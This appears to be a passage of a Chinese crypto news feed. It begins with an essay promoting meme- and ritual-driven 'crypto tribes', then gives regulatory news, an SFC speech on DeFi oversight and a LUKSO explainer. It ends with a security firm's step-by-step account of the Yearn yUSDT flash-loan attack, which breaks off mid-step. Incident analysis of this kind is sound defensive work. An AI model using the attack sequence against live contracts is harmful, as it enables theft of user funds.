也被称为“社会可扩展性”或“社会共识”，模因文化可以很好的传播和筛选目标人群，并可以帮助新加入的部落成员在短时间内迅速熟悉部落文化，并迅速帮助传播！ 一般来说，一个模因的传播次数越多，它的文化根基就越牢固。几乎每个社会性组织都是一个模因。宗教、货币、语言、公司、时尚、习惯和音乐等等都属于这样的模因共享系统，因为多数人们的信赖才得以产生。 加密部落需要创建一个小而有影响力的模因、短语和故事集，以便任何人都可以拿起它，并在几个小时内，像他们多年来一直是部落成员一样交谈，这会让部落更具有生命力！ 在当今时代，注意力属于稀缺资源，人们只需要轻点几下就可以在社区之间切换，因此建立一个有黏性的品牌对于打造网络效应来说至关重要。如果一个网络的价值定位越容易被用户传播，这个网络的发展潜力就越大。 比特币Bitcoin就是一个最明显的模因，Bitcoin一直以来被冠以“数字黄金”称号，一方面有助于新入坑的人理解比特币的一些核心特征；另一方面以实体黄金为参照，可以带起比特币是升级版黄金的话题。而且这一对比可以让人联想到黄金作为货币的几大优点，包括耐久性、便携性、可替代性、可验证性、可分割性和稀缺性。 同时以太坊Etherum号称是驱动去中心化应用的“数字燃油”，这对新人来说是最友好的解释了。有了大众熟知的宝贵资源作对照，可以让大家更好地理解以太币在去中心化经济中的价值。无需深入探究模因为何如此强大的原因，我们就可以看出好的模因都有一个潜在特征 — — 它们的参照物都是在现实世界中众所周知的。 构建模因的最终目的就是发出噪音，引起注意，注意力是现代网络上非常重要的一种货币，人们为注意力付费。尤其是在加密领域内，你要知道，注意力是唯一的稀缺资源，你要让人们谈论你的部落，就像谈论哪个明星要出轨一样！ 宗教的两个重要要素，一个仪式，一个是教义。宗教仪式的功能是强化宗教意识。 宗教仪式的基本内容乃是神和神圣观念以及与此相关而生的人对神的依赖感和敬畏感，他决定了各种宗教行为的基本性质和表现方式。 而在加密文化中，仪式是对模因文化的一种拓展，通过创建仪式，可以构建成员认同，建立门槛并加强紧密联系，而一些加密项目也正在往这个路径来尝试。 TempleDAO是一个将仪式游戏化的一个独特的项目，并带来了很大影响力。 在众多项目争夺注意力的海洋中，TempleDAO 凭借其对模因的主题游戏，成功地塑造了一个独特的身份。荒谬的宗教，萨满的音乐风格和占星术一样的氛围，创造了一种奇特的体验。它引起了加密社区的很大一部分的共鸣。人们开始注意到，想知道。最终，好奇心吸引了许多有志者尝试这些仪式。 该团队成功地将参与转变为一个令人难忘的体验过程 — — 这是其营销工作的基石。当然，TempleDAO 并不适合所有人。对于他们神秘的方法过于夸张和严厉的批评是不公平的。这是一场关于角色扮演的全押赌博，有可能会拒绝一些人，但对于培养强烈的模因氛围是必要的。最终，他们设法利用加密社区对模因的热爱来培养类似于狂热兄弟或姐妹的友情。 最后，无论协议的结果如何，TempleDAO 对社区建设的看法都将成为迄今为止最具创新性的加密传说之一。尤其是开幕式，成功地将平淡无奇、直截了当的事情进行了游戏化。 万物是然，因其已然。其所以然的方式并非始于吉尔伽美什史诗（Epic ofGilgamesh），而是要早得多：我们进化成为制作艺术和讲述故事的动物时，这一方式业已滥觞。— — Brian Boyd 2008 故事力量强大，远超虚构、神话、假装、童话或娱乐所能暗示的力量：故事使人更加紧密的结合在一起。故事就像黏合剂，使人们为特定目的而结为一体，只有在亚部落的层次上，这样的目的才有道理。 借用边际的但创新的“数字故事”（digital storytelling）形式，核心部分是讲故事创建群体的用途，也可以称为“使用者创建公民身份”（user-created citizenship）的用途；不仅仅是为了自我表达，而且是为了围绕某种公民行动主义创建“我们”群体或亚部落，用来区分我们和他们。 探索故事在创建人类政治中的角色。故事把群体组织成有象征意义的亚部落或“我们”群体，在听故事的人中灌输群体身份意识。故事就这样扮演政治角色，把基于地方、小规模亚部落的形式推进到全球无所不包的规模。 故事为给定的“我们”社群生成有意义的身份，把社会世界置于有故事情节的世界里，把社会价值注入人物、动作和情节。部落组织是拥有符号身份的社会群体，在不确定或逆境条件下组织起来行动和生存。这种“我们”社群或亚部落可以小至家庭、“狩猎队”或“单位”（毛时代用语），也可以大至社会或全球规模。 故事对于加密部落尤其重要，通过故事来展现一套完整的价值观，模因，文化的结合体，通过简短生动的描述，让社区成员们快速了解部落并建立认同追随部落！ TreasureDAO通过故事叙事的方式，传导社区理念： 我们的故事就从这里开始： 桥世界，起源飞地，静止维度。 世界的拼接。 古往今来，有无数的歌曲和传说讲述了这个世界的故事。一切都在时间中暂停，从空间中消失 — — 寂静无声。据说这个世界没有起源；一张白纸。从时间的开始到结束，只是将众多其他世界连接在一起的桥梁。 直到 — — 天人凝视着这个抽象的世界。他们发现了一个充满了来自其他世界的残骸的世界，充满了传说。和很久以前就存在的本质。 这是一个充满宝藏、被遗忘已久的遗物和被抹去的传说的世界。 宝藏世界。 天界将这个世界视为所有世界的纽带。它永远将其他世界编织在一起。军团被选为研究维持这个世界的魔法 — — 引导、管理和保护它。 我们的故事就从这里开始。 Treasure 的目标是允许社区引导新的去中心化Metaverse，一直坚持由社区来编写故事。该项目的起源故事吸引了与对社区运行的去中心化元节的愿景一致的合作者。截止到目前，已经有数十个项目与其建立的合作关系，形成了开放的生态网络，并且越来越壮大。 2021年是区块链世界波澜壮阔的一年，如果说除了暴涨的加密市值外还有什么能够让我感到非常兴奋，那么可能就是链上国家-Frog Nation（青蛙王国）的雏形了。 还有什么比创建一个国家更加宏大的叙事呢？加密部落的最终形态可能就是链上国家，不过链上国家和地缘国家形态可能完全不一样，链上国家更多是基于赛博空间所形成的具有完整意识形态的亚文化组织彼此连结形成的利益同盟体，并不会具有完整的政治形态。 而Frog Nation 是一组项目，它们共同推动 Defi 和整个加密行业向前发展。目前由Abracadabra.money、Popsicle.finance、Wonderland.money和最新成员Sushi.com组成。 无论你喜不喜欢Daniele Sesta 这个人，但不可否认的是，他已经构建了一些了不起的东西。 Daniele Sesta 已经成功地永远改变 DeFi 并培养出我从未见过的追随者大军。他是一个勤奋的聪明人，懂得最大化自己的影响力，他将自己参与的众多协议凝聚在一起，建立联盟，Dani 的追随者称自己为“Frog nation”，他们构建了链上国家的初步形态，由利益结合形成的同盟，他们我见过的最忠诚的代币持有者，活跃的部落，这种规模的东西以前从未尝试过，不管这个项目是否成功，Dani 已经在 Frog Nation 和他的 Twitter 追随者中创造了如此疯狂的护城河，Frog Nation已经成为了一种符号和信仰。无论 Frog Nation后续如何发展，我都相信，这个路径已经带来了新的启示！ 部落战争-流动性争夺 谁控制了香料，谁就掌控宇宙。——电影——沙丘 如果说有什么能够转移内部矛盾，并使部落成员迅速集结在一起的事情，那么可能就是战争了，不过，链上的战争一般没有硝烟，但一样激烈和精彩！ 加密世界最核心的资源就是流动性，谁获取了流动性，就掌握了加密世界的话语权， 为了帮助部落获取流动性，成员需要参与到轰轰烈烈的流动性战争中去。 DeFi 中的大多数激励设计都专注于解决两个问题： 1. 劝阻人们出售你的代币 2. 鼓励人们让你的代币更具流动性 从历史上看，这种类型的奖励结构一直是直接的：我会为你为我的代币创造的流动性向你支付源源不断的代币。但现在我们看到了流动性市场，领先的协议可以为投资者聚集各种机会，通过提供流动性来赚取收益收入。协议可以向投资者支付费用以帮助他们增加代币的流动性。 这种聚合以及随之而来的流动性竞争正在各种平台上展开，但这场战斗在 Curve Finance 上最为激烈。因此，流动性竞争被亲切地称为“曲线战争”。 我们目前看到 DeFi 领域的大型协议抢购 CRV/CVX 和其他治理代币，以控制 Curve Gauge。这代表了加密世界的重大转变，毫无疑问，这只是“曲线战争”的开始。 越来越多的项目正在加入流动性战争中。 随着 DeFi 规模越来越大，流动性的争夺只会越来越激烈。 所以代表你的部落，加入战争，与部落成员并肩作战，这可能会使你的部落更加紧密！ 当然流动性战争只是当前的战场，后面会有各种各样的波澜壮阔的属于加密世界的无硝烟战争。 最后：如何让你的部落成功 “为部落而来，为部落留下。” 构建一个真正好的加密产品并不容易，但更加复杂的是如何构建一个真正的加密部落。 作为一个加密部落，如何去构建部落文化，图腾，故事，符号体系的加密叙事；可能是最重要就是建立秩序了： 1. 基础的部落纲领，与贡献者分享长期的愿景和价值观 2. 完善的代币激励模型。 3. 建设社区身份体系和激励体系以达到社区自运转。 4. 自主权/所有权 — 组织给予贡献者足够的灵活性，以及对项目的所有权。 5. 更多的以游戏和模因来进行叙事。 6. 建立图腾，符号和叙事体系，为自己发声。 还有就是： 1. 拓展你的部落边界 2. 加入到“链上战争”中去 这里面的核心就是： 1. 文化秩序 2. 货币秩序 值得注意的是，并不是所有的加密部落都会成功，大部分会走向失败，好的产品不一定能够形成优秀的加密文化。但优质的加密文化一定会孕育好的加密产品。 2022年会是复杂的一年（文章写于2022年），市场会面临高度震荡和极端结构化。资产处于高位、通胀加剧、收缩周期的开始、美国中期选举、地缘战争等等都会影响市场的走势。在加密领域，今年也可能是行情分化的一年，我们看到传统的金融机构信任的崩溃，看到了国家背书的货币暴跌，看到了加密战争债券的发行，看到了拜登政府对于加密市场的重视，机会一直存在，需要有耐心，做一个长期的BUIDL（建设者）。 同时2022年是加密世界大航海的一年，区块链技术正在超越技术本身，形成自己独特的政治，文化，经济体系，在这个行业内，我们看到了令人难以想象的创新，一个崭新的体制正在破土而出，茁壮成长，作为参与者，我们看到他从荒芜走向繁荣，现在我们将会一起构建！一个有趣的加密部落，一个无许可，更加民主的金融创新未来！我们会见证新的货币秩序，文化迁徙和链上创新，加密部落的蓬勃发展，带来加密世界的文艺复兴！我衷心的希望，所有的加密叙事都能获得成功，一个平凡的项目将因独特的叙事而变的传奇！ 愿我们都能构建建属于我们的加密史诗，真诚的说，我希望你成功！  ( 3 min )
    香港立法会议员：期望在2023或2024年落实加密资产和稳定币监管安排
    PANews 4月14日消息，在“2023香港Web3嘉年华”分会场四《Web3.0标准化创新峰会》中，香港特别行政区立法会议员（科技创新界）邱达根发表主题演讲，其表示，在监管层面，金管局发布了加密资产和稳定币讨论文件的咨询总结，期望在2023或2024年落实监管安排。在法定货币代币化层面，我们对CBDC研究的很早，政府已经有了比较明确的立场，并采取了三轨道方式发展，将在第三轨道正式推出数码港元。此外，比特币期货ETF之前已经在香港推出，并且有不错的成交量，其他金融产品的代币化也有很大的空间。香港目前在实践、设计的Web3标准可以走向全世界。  ( 1 min )
    DWF Labs：代币发至交易所不代表抛售，留在钱包不利于流动性和盈利
    PANews 4月14日消息，针对推特用户质疑DWF Labs抛售代币、洗盘交易一系列，DWF Labs管理合伙人Andrei Grachev发推表示，DWF共购买了810亿枚Floki并将全部发送到交易所，但为了证明没有抛售，已经将570亿枚Floki发送到链上钱包。 此外，他还表示，做市商把代币留在钱包中是最愚蠢的选择，因为其本职工作是创造市场、提供深度、改进订单执行，而不是什么都不做。之所以将代币转到交易所，是因为做市商必须为紧急情况和极端的流动性做好准备，拥有可用库存以实现24/7的流动性目的。此外，做市商和VC应该利用所有合法和可用的解决方案，以便为其投资组合项目和盈利能力带来最大价值，这并不算是洗盘交易。  ( 1 min )
    EOS EVM主网Beta版已上线，并为EOS网络引入新销毁机制
    PANews 4月14日消息，EOS网络基金会在推特上宣布，EOS EVM主网Beta版已上线。EOS EVM的推出也为EOS网络引入了新的销毁机制，RPC节点的利润将100%被销毁。  ( 1 min )
    香港金融科技咨询小组主席：将对DeFi进行强监管，相关企业需持牌经营
    出处：香港Web3嘉年华 演讲嘉宾：蔡钟辉，香港证券及期货事务检查委员会中介机构部临时主管 (金融科技咨询小组主席) 编译：Ehan 吴说区块链 早上好。很荣幸受邀在这个精彩的节日上发言。在过去的几年中，各种技术出现了许多惊人的发展和突破。例如，我们已经看到企业将人工智能融入其业务，中央银行、金融机构正在探索使用分布式账本技术 (DLT) 的好处。就在几周前，我亲身体验了 Chatgpt 的奇妙之处。相关技术的潜在应用及其具体化影响是巨大的。我们看到新闻报道说金融公司正在测试该工具并使用它来撰写研究报告。我必须承认，使用 Chatgpt 来撰写这篇演讲稿的想法也出现在我的脑海中。但我放弃了，那是因为此类技术有其自身的局限性和错误性，包括它有时会对问题生成错误答案。举个例子。一位资产经理要求 Chatgpt 给他十只可以从虚拟现实中获益的股票。Chatgpt 提供了 7 个名字，经理从剩下的3个中发现 Chatgpt 编造了 3 个假名字。这个例子强调了以负责任的方式利用创新技术优势的重要性。正如基于 DLT 的 web3 的出现一样，它有望带来巨大的经济利益，并有可能改变互联网和我们互动的方式。我们还必须意识到潜在的风险并妥善管理它们。 需要明确的是，SFC（香港证券及期货事务监察委员会）认识到 web3 带来的机会。事实上，我们的首席执行官 Julia Leung 女士已经在去年香港金融科技周的发言中表示，SFC 已经注意到 web3、虚拟资产、NFT、元宇宙和 GameFi 在我们日常生活中的潜在影响，我们支持底层 DLT 技术发展和创新，所以让我今天借此机会与大家分享：SFC 政策举措与之相关的两个非常重要的主题——中心化虚拟资产交易平台（VATP）和去中心化金融（DeFi ）。 因此，让我们从 DeFi 开始，，正如从 Web 2.0 过渡到 Web 3.0 的演变一样，实现去中心化的互联网，将金融科技的力量传递给用户并付诸实践。DeFi 倡导构建去中心化的金融生态系统，采用分布式账本技术（DLT）、虚拟资产（VA）和智能合约来提供金融服务，摒弃传统金融中介机构。DLT 最初的理念在于实现金融民主化，使得任何拥有互联网连接和能够存储虚拟资产的钱包的用户都能接触到 DeFi 服务。支持者们认为，只要秉持 DeFi 背后的理念，金融服务行业将迎来翻天覆地的范式转变。在 DeFi 领域，我们已经看到许多与传统金融相似的产品和服务，包括交易、借贷、资产管理、保险以及衍生品。然而，DeFi 也面临着一些独有的挑战。 首先，金融稳定性问题源于 DeFi 和虚拟资产（ VA）生态系统内部，以及 DeFi 与传统金融产品之间的相互关联。金融稳定性风险也来自于杠杆，例如，在一个 VA 借贷协议中，用户可以将 VA 作为抵押品以获得更多的贷款。其次，由于数据匮乏，以及许多相关公司和活动目前尚未受到监管，这种相互关系和联系的透明度较低。第三，DeFi 生态系统面临着市场诚信问题，例如价格操纵、抢先交易和其他类型的滥用行为。最后，值得关注的是，网络攻击的规模愈发庞大，引发了投资者保护方面的担忧。例如，在2022年3月，NFT 游戏平台“Axie Infinity”遭遇了一起大规模黑客攻击，导致价值 6.25 亿美元的资产被盗。 您可能会问，在面对 DeFi 的独特性时，监管是否可行。实际上，由于多种原因，监管 DeFi 确实存在一定难度。首先，在出现问题时，应该由谁负责？传统金融中介无法独立运作，而在某些 DeFi 协议中，开发者或运营者一旦将智能合约部署到区块链上，就无法再对其进行修改。另外，DeFi 产品或服务的治理可能在不同程度上实现去中心化，可能涉及使用治理代币或去中心化自治组织。治理代币持有者（可能包括智能合约的原始开发者）可以对新产品功能等产品变更进行投票。在这种去中心化治理的情况下，确定负责定义产品或服务的个体可能变得非常困难。这个问题回避了 DeFi 服务是否由智能合约开发者、部分或所有治理代币持有者控制的问题。其次，由于 DeFi 的自治性以及对 DeFi 协议开发者和运营者的识别挑战，监管变得更加困难。DeFi 产品和服务的跨境性质进一步加剧了这一挑战，因为其开发者和运营者可能位于多个司法管辖区。 现在，我将与您分享香港证监会（SFC）对 DeFi 的看法。SFC 旨在确保对于受其监管的金融活动，通过适用相同现有监管框架来定义这些活动，只要 DeFi 活动属于证券及期货条例（SFO）的范畴。在遵循 SFC 所提倡的“相同风险，相同方法”的原则下，DeFi 将受到与传统金融实体相同的监管要求约束。从事或执行此类活动的人员应遵守许可要求并受 SFC 监管，以阐明自动交易服务的规定是受 SFO 监管的活动。如果去中心化平台允许交易构成 SFO 规定的证券或期货，那么该平台及其运营商将需要获得第七类受监管活动的许可证。 在香港，向公众提供集体投资计划（CIS）必须遵守证券及期货条例（SFO）项下的授权要求，因为符合 CIS 定义的 DeFi 流动性资金池协议可能需要遵守这些法律要求。向香港投资者提供虚拟资产（VA）存款、储蓄、收益和服务的安排，其中一些可能构成 SFC 监管范围内的 CIS，甚至可能实际上是一个非法集体投资计划（ICIS）。确定谁应对 DeFi 承担责任的挑战实际上可能并非完全无法解决。SFC 将在了解 DeFi 协议的内部运作和安排后，对每项 DeFi 服务或活动进行逐案评估。然而，在前面提到的一些挑战方面，值得注意的是，部分 DeFi 协议可能仅在名义上实现去中心化。实际上，一小部分开发人员、运营商或相关方可能仍具有控制权，例如，他们可能持有绝大多数治理代币或有权对审计提出的治理建议作出决策。因此，在分析这个问题时，重要的是要关注这些安排的实际解决方案，而不仅仅是看他们如何宣传自己的项目。 接下来，我将讨论中心化的虚拟资产交易平台（VATP）。如今，SFC 更加关注中心化 VATP，因为大部分虚拟资产（VA）交易都发生在这些平台上。这一与投资者的接触点引发了投资者保护问题，这解释了为什么 SFC 在 2019 年推出了针对 VATP 的全面监管措施，特别是针对提供至少一种证券代币交易服务的 VATP。该监管制度涵盖了适用于传统经纪商和自动交易平台的要求，并针对 VA 的特定风险进行了一定的调整。 现在，这意味着我们不仅从反洗钱的角度监管 VATP，还从投资者保护的角度监管。监管要求涵盖了流动资产的安全保管、利益冲突、网络安全、防止市场操纵活动等领域，以及制定不良交易的准入程序。正如您可能知道的，继立法会通过《2022年反洗钱和反恐融资修正案》后，SFC 正在寻求实施涵盖中心化 VATP 的新发牌制度。当该制度于今年 6 月 1 日生效时，允许非证券代币交易的中心化 VATP，所有在香港运营的中心化 VATP，无论它们是否提供证券代币或非证券代币交易，都必须获得我们的许可。加密货币市场的动荡本身就加强了人们对于设定创纪录的监管标准和为 VATP 制定适当护栏的必要性，以保护投资者、市场完整性和市场稳定性的信念。尽管这一事件表明虚拟资产市场的规模尚不足以引发系统性风险担忧，但我们不能忘记那些对消费者造成伤害的案例。 例如，散户投资者因虚拟资产借贷平台 Celsius 网络和中心化交易所 FTX 的内爆和崩溃而遭受损失。FTX 失败后的新闻报道揭示了一系列问题，包括缺乏基本的治理和风险管理控制、利益冲突，以及更重要的是，对这类资产的滥用，这在任何受监管的实体中都是不能容忍的。这些失败表明，对于 VATP 来说，拥有稳健的风险管理思维是至关重要的，这正是我们现有 VATP 监管制度所涵盖的领域。这就是为什么当 SFC 发布咨询文件时，我们有效地将现有监管要求下的意见转化为新制度的建议，并根据市场发展和现行制度的运作经验进行了某些修订。在现行制度下，SFC 向经营者施加条件，限制他们只向专业投资者提供服务。这一要求将放宽，但要遵守为保护投资者而制定的额外 GAAP 会计规则。这包括要求 VATP 在开户过程中了解客户的风险状况，以评估提供此类服务是否合适，并设定适当的限制。通过参考客户的财务状况和个人情况来确保风险敞口的种类是合理的。除了要求 VATP 制定尽职调查和准入 VA 进行交易的标准外，SFC 还建议向散户投资者提供的 VA 应满足额外的准入标准，这将使其有资格成为合格的大盘虚拟资产。现在，鉴于虚拟资产生态系统中的动荡和丑闻，相信大家都会认同，获得 SFC 许可的 VATP 必须采取适当的控制和风险管理措施，以防止类似事件在香港发生。SFC 就此新制度下的建议监管要求进行的磋商于 3 月 31 日结束。 我想借此机会感谢那些审阅咨询文件并就建议提供反馈的市场参与者和有兴趣的人士。无论怎么强调，这种与业界的接触和建设性对话对于 SFC 制定政策都至关重要。我们将认真审查收到的所有意见，以确保香港中心化 VATP 的监管制度健全、有效，并在投资者保护与支持创新之间取得适当的平衡。总而言之，SFC 完全支持在香港使用新技术提供金融服务和产品。我们要勇于拥抱科技创新，警惕潜在风险，加快实现保护市场投资者的承诺。我坚信，在政府、监管机构和行业的共同努力下，香港最终将不仅成为国际金融中心，还将成为 web3 和虚拟资产的首要枢纽。希望您喜欢这个活动。非常感谢。  ( 3 min )
    以太坊基金会研究员披露质押以太坊或会泄露用户IP地址等信息
    PANews 4月14日消息，据Cointelegraph报道，以太坊基金会研究员Justin Drake透露，ETH质押者的IP地址作为元数据集的一部分受到了监控，导致加密社区将此视为以太坊的隐私问题。 Drake称他在“内部”（或是在以太坊基金会）了解到这样的数据库，他解释称：“有很多元数据可被追踪到，你可以查看存款地址、提款地址、费用接收者、以及IP地址。”Drake还表示，这样的数据库可以抵御空投女巫攻击，也或可用于“特殊空投”，即把代币空投给单独质押者，而不是Kraken、Coinbase等机构，或者是某些特定的人。  ( 1 min )
    一文了解ERC-20代币标准提出者推出的Layer 1区块链LUKSO
    LUKSO区块链的概念在2018年提出，并在2020年通过初始代币发行筹集了资金。如今，LUKSO主网经过了多次延期，终于即将上线。和以太坊类似，验证者需要锁定32 $LYXe。 近期Layer 1和Layer 2区块链在近期集中爆发，LUKSO又有和特别之处呢？ LUKSO的两位发起人Marjorie Hernandez和Fabian Vogelsteller是一对夫妻，他们在上大学时相识。其中Marjorie曾在德国建立了安永的创新实验室并担任数字转型和战略主管，使用以太坊帮助大公司开展业务。她还是IOTA基金会的早期顾问，负责汽车行业产品的开发和实施。 Fabian则是一名资深的区块链开发者，他大学就读于媒体设计专业，自称没有专门学习过计算机科学，而是从14岁开始通过编写网站代码自学。Fabian在2015年加入以太坊团队，他在以太坊开发中做出了一些重要成果，包括：Mist浏览器、web3.js、以太坊钱包和ERC-20标准、ERC-725标准。 其中最主要的成就是和以太坊联合创始人Vitalik Buterin一起开创了ERC-20标准，创建了一套在以太坊上发行代币需要遵守的规则。 在LUKSO早期介绍的团队中，还有众多时尚和科技行业的领导者担任顾问，如香奈儿欧洲区总裁Berndt Hauptkorn，Burberry数字技术副总裁、耐克数字副总裁Daniel Heaf、Helsinki时装周创始人Evelyn Mora等。 Fabian虽然参与了ERC-20标准的设计，但也意识到了ICO的疯狂所带来的不良影响。因此，在LUKSO的代币募资中，Fabian提出了可逆ICO（Reversible ICO，rICO）的想法，并在202年4月获得了德国监管机构的审批。 LUKSO的rICO分为两个阶段，首先是1个月的提交阶段，然后是8个月的购买阶段。在提交阶段，每个人都可以提交ETH，此时购买并未开始，可以随时退出。在购买阶段，购买是线性发生的，价格会随着购买的发生逐渐升高，参与者也可以在这个阶段的任何时候选择退还全部或部分代币以提取参与的ETH，也可以在中途参加并在后续的几个月里逐步购买。 由于购买的代币是可以退回的，投资者面临的风险降低。同时，前期的购买价格更低，也会激励大家从早期开始参与。2021年2月，LUKSO通过可逆IC0筹集了1800万美元资金。 LUKSO是一个独立的“多元宇宙”Layer 1区块链网络，能够让时尚、游戏、设计和社交媒体在这里交汇，改变品牌、创作者和用户在Web3中的交互方式以及在新创意经济中与区块链技术的交互方式。它的目标并不是作为“以太坊杀手”，而是简化用户使用区块链的流程、提高安全性，并允许全新的受众构建dApp。 但因为Fabian是前以太坊基金会成员，LUKO的各种机制也借鉴了以太坊。作为以太坊的“姐妹”区块链，LUKSO在架构上利用了以太坊合并后的技术堆栈，使用Casper Pos共识引擎和EVM智能合约执行引擎。和以太坊一样，验证者需要质押32枚公链的原生代币。目前主网还未上线，似乎也是在等待以太坊的上海升级，实现提款功能，主网可能在上海升级后的一个月上线。 同时LUKSO和以太坊也有很多差异。LUKSO主要专注于 "创意经济"，针对时尚、艺术、设计、虚拟世界等领域的创作者。而以太坊则是一个通用的智能合约平台，适用于各种不同行业和应用程序。 在用户体验上，LUKSO强调简化用户体验，以便更广泛的受众可以轻松使用区块链技术。为了解决这个问题，LUKSO 引入了名为 "通用配置文件" 的全面一体化配置文件，将链上活动整合到一个实体中，作为MetaMask的替代之一。通用配置文件是基于区块链的可互操作的配置文件，可在数字世界中验证身份，在安装该浏览器插件后，LUKSO首先会要求创建个人资料，包括选择身份图标、密码和邮箱。 因为LUKSO支持EVM，也就能支持包括MetaMask在内的工具，但LUKSO鼓励使用通用配置文件作为dApp的账户解决方案。MetaMask和LUKSO的通用配置文件只能使用一个，LUKSO不鼓励使用外部账户（EOA）作为账户，因为安全性不足、不灵活且不跟踪传入的资产。 LUKSO提出了12项LUKSO标准提案（LSP）代表LUKSO生态系统的核心组成部分，增加了区块链生态系统中的功能和用户友好性，并使身份、资产表示和智能合约交互标准化。LSP具有很高的可扩展性，允许新的用例，简化了开发人员和用户体验。如LSP dApp让任何人都可以方便地铸造同质化和非同质化代币，并将它们发送给其他人，如下图所示。 主网即将启动，代币总量可能减少 虽然项目已经发展了很多年，但是LUKSO的主网一直没有上线，期间经历过多次延期。官方表示，开发以前没有做过的东西并不是可以完全预测的，架构规划可能出现无法预料的障碍或问题。LUKSO也已经经历过多个版本的测试网，直至能够稳定运行。截至2023年4月11日，LUKSO目前运行的是L16测试网。 在主网启动前，LUKSO将开发一个“创世验证者存款智能合约”，任何持有LYXe的用户都可以成为创世验证者，每个验证者节点需要32 LYXe，这意味着和以太坊一样，验证者需要持有32 LYXe的倍数，也需要运行执行客户端和共识客户端。在存款合约启动后，验证者加入的时间窗口大约有3周，但时间也可能延长，至少需要4096个创世验证者节点，以让LUKSO主网以完全去中心化的方式启动。 创世验证者有责任在LUKSO的主网启动中做出正确的决定，因为他们也拥有LYXe。LYXe发行在以太坊主网上，在主网启动后，团队将发布一个迁移工具，将以太坊上的LYXe换成LUKSO主网上的LTX。主网启动时，也需要决定LYX代币的初始总供应量。在2019年提出代币时，预计LYX的总量为1亿枚，但是因为市场规模、预期时间和当时已经不同，LYX的数量可能减少。目前，LUKSO团队对LYX的初始总供应量给出了3个建议，分别如下。 和以太坊的质押一样，因为早期参与质押的用户较少，收益可能更高，官方预计年化收益在3%～20%之间。LUKSO可能直接采用以太坊的上海升级机制，主网上线时间可能在上海升级后一个月。 LUKSO是一个独立的Layer 1区块链，因为发起者之一Fabian是早期以太坊基金会成员之一，LUKSO的网络架构和以太坊有相似之处，但LUKSO的目标是和以太坊形成互补，简化用户使用区块链的流程、提高安全性，允许全新的受众构建dApp，并提出了12项LSP。 LUKSO的主网已经多次延期，可能会在以太坊上海升级之后一个月上线，因为市场规模的变化，原生代币LYX的总量也可能由1亿枚调整为4200万。  ( 2 min )
    Uniswap关于“BSL过期后跨链部署和新uniswap.eth子域名创建”的温度检查投票已通过
    PANews 4月14日消息，Uniswap社区关于“商业源代码许可证（BSL）过期后跨链部署和新uniswap.eth子域名创建”提案的温度检查投票已结束，并以100%的支持率获得通过。 根据该提案，Uniswap基金会新任治理主管Erin Koen表示，BSL到期后，为每条链确定一个官方Uniswap V3部署将是有益的，以便为用户提供安全保障并明确Uniswap治理。此外，为了与在BSL到期后推荐的治理流程保持一致。Uniswap基金会建议创建一个新的ENS子域v3-deployments.uniswap.eth，以跟踪Uniswap v3在L1和L2上的官方部署。 此前消息，Uniswap V3核心代码版权商业保护（BSL）已于4月1日到期。  ( 1 min )
    ROOK投资者已可使用代币赎回Rook DAO金库中的2500万美元资金
    PANews 4月14日消息，据CoinDesk报道，ROOK维权投资者组成的新实体Incubator DAO已与Rook DAO实际运营者Rook Labs达成协议，将通过购买Rook Labs约60%的金库的管理权，将代币ROOK从项目中分离出来，新的实体旨在清算这些现金。Rook代币已经成为赎回曾属于Rook DAO的约2500万美元金库资金的“门票”，在未来90天内，ROOK代币持有者可以申领。Rook DAO目前已解散。 Incubator DAO的领导者Carl Icahn（化名Wismerhill）表示，代币持有者可以解锁他们对金库的所有权，而Rook Labs团队可以继续从他们项目，而无需承担毫无价值的治理代币的负担。通过智能合约赎回代币的ROOK持有者将获得按比例分享的USDC，再加上一个pROOK代币。Wismerhill表示，在90天结束时，剩余的USDC将在pROOK代币持有者之间分配。 相关阅读：利益冲突、项目停滞，ROOK DAO要解散？  ( 1 min )
    老牌DeFi项目Yearn Finance被盗超1000万美元，简要梳理攻击过程
    原文：《被盗超1000万美元，Yearn Finance如何被黑客“盯上”？》 2023年4月13日，据Beosin-Eagle Eye态势感知平台消息，Yearn Finance的yusdt合约遭受黑客闪电贷攻击，黑客获利超1000万美元。 关于本次事件，Beosin安全团队在白天已将简析以快讯的形式分享给大家，现在我们再将长文分享如下： 事件相关信息 攻击交易 0xd55e43c1602b28d4fd4667ee445d570c8f298f5401cf04e62ec329759ecda95d 0x8db0ef33024c47200d47d8e97b0fcfc4b51de1820dfb4e911f0e3fb0a4053138 0xee6ac7e16ec8cb0a70e6bae058597b11ec2c764601b4cb024dec28d766fe88b2 攻击者地址 0x5bac20beef31d0eccb369a33514831ed8e9cdfe0 0x16Af29b7eFbf019ef30aae9023A5140c012374A5 攻击合约 0x8102ae88c617deb2a5471cac90418da4ccd0579e 下面以 0xd55e43c1602b28d4fd4667ee445d570c8f298f5401cf04e62ec329759ecda95d为例进行分析。 1.攻击者首先通过闪电贷借出了500万Maker: Dai Stablecoin、500万USD以及200万Tether: USDT Stablecoin作为攻击本金。 2.攻击者调用aave池子合约的repay函数偿还其他人的欠款，这一步是为了将aave池子抵押收益降低，从而降低yearn:yUSDT Token合约中aave池子的优先级（yearn: yUSDT Token合约会根据收益情况判断将资金投入哪个池子）。 3.接着攻击者调用yearn: yUSDT Token合约的deposit函数质押了90万Tether: USDT Stablecoin，该函数会根据质押量为调用者铸相关数量的yUSDT，计算方式与池子中各种代币余额有关，如下图，此时为攻击者铸了82万的yUSDT。 4.此时，合约中有90万Tether: USDT Stablecoin与13万Aave: aUSDT Token V1 5. 接下来攻击者使用15万USD兑换了15万的bZx USDC iToken，并将其发送给了yearn: yUSDT Token合约，此时，合约中有118万的资金，攻击者拥有90/103的份额，也就是能提取103万资金。 6.随后，攻击者调用yearn: yUSDT Token合约的withdraw函数提取质押资金，此时合约中仅有攻击者之前质押的90万Tether: USDT Stablecoin、初始的13万Aave: aUSDT Token V1以及攻击者转入的15万bZx USDC iToken，而如果一个池子中代币不足的话，会按顺序提取后续池子的代币，此时攻击者将90万Tether: USDT Stablecoin以及13万Aave: aUSDT Token V1全部提取出来，经过本次操作，合约中仅有15万bZx USDC iToken。 7. 随后，攻击者调用yearn: yUSDT Token合约的rebalance函数，该函数会将当前池子的代币提取出来，并质押到另一个收益更高的池子中，由于第2步操作，合约会将USDT和USDC提取出来，添加到收益更高的池子中，但当前合约仅有bZx USDC iToken，也只能提取出USDC，提取出来后将复投到其他USDT池子，此时复投将跳过。 8.攻击者向池子中转入1单位的Tether: USDT Stablecoin，并再次调用yearn: yUSDT Token合约的deposit函数质押了1万Tether: USDT 